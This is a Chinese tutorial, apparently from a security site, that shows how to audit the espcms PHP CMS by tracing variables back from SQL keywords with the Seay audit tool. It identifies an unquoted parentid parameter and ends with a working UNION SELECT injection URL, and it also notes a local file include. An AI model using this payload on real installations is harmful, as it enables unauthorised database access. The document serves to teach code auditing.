espcms 注入挖掘案例
我们来举一个根据关键字回溯的例子,用 PHP 程序 espcms 举例,使用 Seay 源代码审计系统做演示,首先载入程序,然后点击自动审计,得到一部分可能存在漏洞的代码列表,如图 3-1 所示。
图 3-1
我们挑其中的一条代码,如图 3-2 所示。
图 3-2
双击该项直接定位到这行代码,如图 3-3 所示。
在选中该变量后,在下方可以看到该变量的传递过程,并且点击下方的变量传递过程也可以直接跳转到该项代码处,可以非常直观地帮助我们看清整个变量在该文件的传递过程。另外我们可以看到$parentid 变量是在如下代码段获得的:
$parentid = $this->fun->accept ( 'parentid' , 'R' );
图 3-3
右键选中该代码定位该函数主体,如图 3-4 所示。
图 3-4
可以看到跳转到了 class_function.php 文件的 314 行,代码如下:
function accept ( $k , $var = 'R' , $htmlcode = true , $rehtml = false ) { switch ( $var ) { case 'G' : $var = &$_GET ; break ; case 'P' : $var = &$_POST ; break ; case 'C' : $var = &$_COOKIE ; break ; case 'R' : $var = &$_GET ; if ( empty ( $var[$k] )) { $var = &$_POST ; } break ; } $putvalue = isset ( $var[$k] )? $this->daddslashes ( $var[$k] , 0 ) : NULL ; return $htmlcode ?( $rehtml?$this->preg_htmldecode ( $putvalue ): $this-> htmldecode ( $putvalue )): $putvalue ; }
可以看到这是一个获取 GET、POST、COOKIE 参数值的函数,我们传入的变量是 parentid 和 R,则代表在 POST、GET 中都可以获取 parentid 参数,最后经过了一个 daddslashes() 函数,实际上是包装的 addslashes() 函数,对单引号等字符进行过滤,不过注意看前面的 SQL 语句是这样的:
$sql = "select * from $db_table where parentid=$parentid" ;
并不需要单引号来闭合,于是可以直接注入。
在 citylist.php 文件看到 oncitylist() 函数在 important 类中,选中该类名右键点击“全局搜索”功能,如图 3-5 所示。
图 3-5
可以看到 index.php 文件有实例化该类,代码如下:
$archive = indexget ( 'archive' , 'R' ); $archive = empty ( $archive ) ? 'adminuser' : $archive ; $action = indexget ( 'action' , 'R' ); $action = empty ( $action ) ? 'login' : $action ; include admin_ROOT . adminfile . "/control/$archive.php" ; $control = new important (); $action = 'on' . $action ; if ( method_exists ( $control , $action )) { $control->$action (); } else { exit ( ' 错误:系统方法错误! ' ); }
这里可以看到一个 include 文件的操作,可惜经过了 addslashes() 函数无法进行截断使其包含任意文件,只能包含本地的 PHP 文件,如果你有 MySQL 的 root 权限,能导出文件到 tmp 目录,不能导出到 Web 目录,这种场景才用得到这个文件包含,再往下走就是实例化类并且调用函数的操作了,根据代码可以构造出利用 EXP:
http : //127.0.0.1/espcms/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1 union select 1 , 2 , user (), 4 , 5
漏洞截图如图 3-6 所示。
图 3-6
这个案例非常真实地演示了如何根据关键字回溯变量来进行代码审计。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论